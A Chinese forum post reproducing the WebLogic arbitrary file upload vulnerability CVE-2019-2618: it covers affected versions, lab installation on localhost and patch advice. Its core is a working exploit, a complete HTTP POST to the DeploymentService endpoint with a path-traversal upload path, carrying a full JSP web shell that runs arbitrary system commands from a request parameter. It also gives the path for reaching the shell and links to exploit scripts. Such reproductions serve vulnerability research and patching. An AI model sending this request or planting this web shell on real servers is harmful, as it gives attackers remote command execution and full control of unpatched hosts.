投稿文章:WebLogic任意文件上传漏洞(CVE-2019-2618)复现

2019-04-23 23:23:14 8 3589
WebLogic组件介绍

        WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

        将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。

漏洞分析

       CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
影响范围

       目前据统计,在全球范围内对互联网开放WebLogic的资产数量多达35,894台,其中归属中国地区的受影响资产数量为1万以上。
       目前受影响的WebLogic版本:WebLogic 10.3.6.0、12.1.3.0、12.2.1.3
环境搭建:

1.weblogic12.2.1.3.0安装
下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
开始安装:(需要java环境支持,记得配置JAVA环境变量)




2.打开cmd执行:
        
      C:\Progra~1\Java\jdk1.8.0_121\bin\java -jar fmw_12.2.1.3.0_wls.jar




用 C:\Program Files\Java\jdk1.8.0_121\bin\ 目录下的 java.exe 来执行weblogic12c的jar包(默认使用顺序,似乎首先用的是C:\Program Files\Java\jdk1.8.0_121\jre\bin\下的java.exe,所以会包jre不是有效的JDK),所以在cmd里要输入C:\Progra~1\Java\jdk1.8.0_121\bin\java -jar fmw_12.1.3.0.0_wls.jar(这里之所以要用Progra~1 来代替Program Files是因为有 空格 会识别错误)

3.等待一会会弹出安装程序:



4.安装完成后会出现配置向导(有一项是配置weblogic的账户和密码的,要记住这个账号和密码。复现会用到)



5.配置完成后,找到startWebLogic.cmd双击启动weblodgic



6.访问http://127.0.0.1:7001/console验证




复现:
1.访问http://127.0.0.1:7001/console,利用burpsuit抓包。将数据包修改为poc:
       POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
       Host:  127.0.0.1:7001
       User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
       Accept: text/html, image/gif, image/jpeg, */*; q=.2
       Connection: keep-alive
       username: weblogic
       password: Asd123456
       wl_request_type: app_upload
       wl_upload_application_name: \\..\\tmp\\_WL_internal\\bea_wls_internal\\9j4dqk\\war
       wl_upload_delta: true
       archive: true
       serverName: pyn3rd
       server_version: 10.3.6.0
       Content-Type: multipart/form-data; boundary=-------------------------55365303813990412251182616919
       Content-Length: 1130

       -----------------------------55365303813990412251182616919
       Content-Disposition: form-data; name="img"; filename="shell11.jsp"
       Content-Type: application/octet-stream

      <%@ page import="java.util.*,java.io.*"%>
      <%
      %>
      <HTML><BODY>
      Commands with JSP
     <FORM METHOD="GET" NAME="myform" ACTION="">
     <INPUT TYPE="text" NAME="cmd">
     <INPUT TYPE="submit" VALUE="Send">
     </FORM>
     <pre>
     <%
     if (request.getParameter("cmd") != null) {
         out.println("Command: " + request.getParameter("cmd") + "<BR>");
         Process p;
         if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
             p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
         }
         else{
             p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         }
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
          while ( disr != null ) {
         out.println(disr);
         disr = dis.readLine();
         }
     }
     %>
     </pre>
     </BODY></HTML>
     -----------------------------55365303813990412251182616919--
2.发送到Repeater,将需要修改的地方改掉.点击go。可以看到成功上传,并显示了路径。



3.我们可以直接通过访问:

http://127.0.0.1:7001/bea_wls_internal/shell11.jsp 来访问我们上传的文件。

我们上传的文件是一个简单的执行系统命令的文件。可以更改POC中shell11.jsp的内容来上传不同的文件。

4.附一个github上的py脚本:
https://github.com/jas502n/cve-2019-2618
脚本使用:




修复建议:
Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞

相关链接:

https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html

请受影响用户及时下载,Oracle官方补丁需要用户持有正版软件的许可账号,登陆https://support.oracle.com后,可以下载最新补丁。


参考链接:
https://github.com/pyn3rd/CVE-2019-2618
https://github.com/jas502n/cve-2019-2618

关于作者

Mature9篇文章261篇回复

评论8次

要评论?请先  登录  或  注册